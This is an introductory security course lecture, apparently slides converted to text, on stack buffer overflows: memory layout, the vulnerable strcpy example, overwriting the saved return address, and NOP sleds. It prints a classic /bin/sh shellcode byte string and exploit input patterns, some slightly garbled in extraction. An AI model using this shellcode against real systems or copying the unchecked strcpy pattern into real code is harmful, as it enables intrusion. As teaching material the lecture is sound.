

Introduction to Software Vulnerabilities: Buffer Overflows

CMSC 23200/33250, Winter 2022, Lecture 4

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

Outline for Lecture 4

1. Overview of software exploits
2. Memory layout and function calls in a process
3. Stack-based buffer overflow attacks

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Software Attacks: Context



Insider escalating privilege

- Usually want to monetize system
- Sometimes targeted espionage
- Happy crashing system as well!

Software Vulnerabilities are Very Common

- According to vulnerability researcher and author Dave Aitel:

In **one hour** of analysis of a binary, one can find *potential* vulnerabilities

In **one week** of analysis of a binary, one can find *at least one good vulnerability*

In **one month** of analysis of a binary, one can find *a vulnerability that no one else will ever find.*

Two Basic Principles of Most Attacks

- Adversaries get to inject *their* bytes into *your* machine
- “Data” and “Code” are interchangeable; They are fundamentally the same “thing”.




GET /index.html HTTP/1.1



vs.

GET /index.htmlh6\ک??` :??
L??S)??Z?vm??q` ?%?~???M?
EK???'?_? |Cg7L??s3?



Some Classes of Software Vulnerabilities

- Memory management
- Integer overflow and casting
- Unsanitized input fed to unprotected functions (e.g. `printf`)
- ...

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1. Overview of software exploits


2. Memory layout and function calls in a process

3. Stack-based buffer overflow attacks


Memory Layout of a Process (in Linux)

- .text**: Machine executable code
- .data**: Global initialized static variables
- .bss**: Global uninitialized variables (“block starting symbol”)
- heap**: Dynamically allocated memory (via `brk/sbrk/mmap` syscall)
- stack**: Local variables and functional call info
- env**: Environment variables (PATH etc)

(Demo!)



x86 Registers and Virtual Memory Layout




The Stack and Calling a Function in C

What happens to memory when you call `foo(a,b)`?

- A "stack frame" is added (`esp` moves up)
- Instruction pointer `eip` moves to code for `foo`

```
int foo(int a, int b) {  
    int d = 1;  
    return a+b+d;  
}
```




Returning from a function

What happens after code of `foo(a,b)` is finished?

- Pop frame off of stack (move `esp` down)
- Move saved `ebp` to `ebp` register
- Move saved `eip` to `eip` register

```
int foo(int a, int b) {  
    int d = 1;  
    return a+b+d;  
}
```



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Typical Problem: Overflowing a buffer on the stack


Function `bad` copies a string into a 64 character buffer.

- `strcpy` continues copying until it hits NULL character!
- If `s` points to longer string, this overwrites rest of stack frame.
- Most importantly saved `eip` is changed, altering control flow.

```
void bad(char *s) {  
    char buf[64];  
    strcpy(buf, s);  
}
```

`s="AAAA...AAAA"` (70 or more characters)

Frame before `strcpy` Frame after `strcpy`



saved `eip` should be here!
`AAAA=0x41414141` will be used
as return address

What will happen? SEGFAULT!

How to exploit a stack buffer overflow


Suppose attacker can cause bad to run with an `s` it chooses.

- Step 1: Set correct bytes to *point back to input(!)*

```
void bad(char *s) {  
    char buf[64];  
    strcpy(buf, s);  
}
```

`s="AAAAA...AAAA \x24 \xf6 \xff \xbf AAAA..."`

Frame before strcpy



Frame after strcpy



0xbffff624

Well-chosen (unprintable) characters used as an address for `eip`!

What will happen? Illegal instruction!

How to exploit a stack buffer overflow


Suppose attacker can cause bad to run with an `s` it chooses.

- Trick 1: Set correct bytes to *point back to input(!)*
- Trick 2: Make input *executable machine code(!)*


```
void bad(char *s) {  
    char buf[64];  
    strcpy(buf, s);  
}
```

`s="<machine code>\x24\x6\xff\xbfAAA..."`

Frame before strcpy



Frame after strcpy



What will happen?

What to put in for <code>?

The possibilities are endless!

- Spawn a shell
- Spawn a new service listening to network
- Overview files
- ...


```
s="<machine code>\x24\x66\xff\xbfAAA..."
```

But wait... what about NULL bytes?

Solution: Find machine instructions with no NULLs!

- Can even find machine code with all alpha bytes.

Frame after strcpy



← strcpy
stopped here,
saving victim :(

Example Shellcode

```
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```


Basically equivalent to:

```
#include <stdio.h>  
void main() {  
    char *name[2];  
    name[0] = "/bin/sh";  
    name[1] = NULL;  
    execve(name[0], name, NULL);  
}
```

Finally, where did that magic address come from?


Two issues:

- Need to place address in correct spot
- Need address to jump to beginning of shellcode




Technique #1: NOP Sleds

- Instruction `0x90` is `xchg eax, eax`, i.e. does not thing. This is a “No Op” or “NOP”.
- Just add a ton of NOPs (as many as you can, even many MB) and hope pointer lands there



Technique #2: Placing malicious EIP

— Simple: Just copy it many times



The End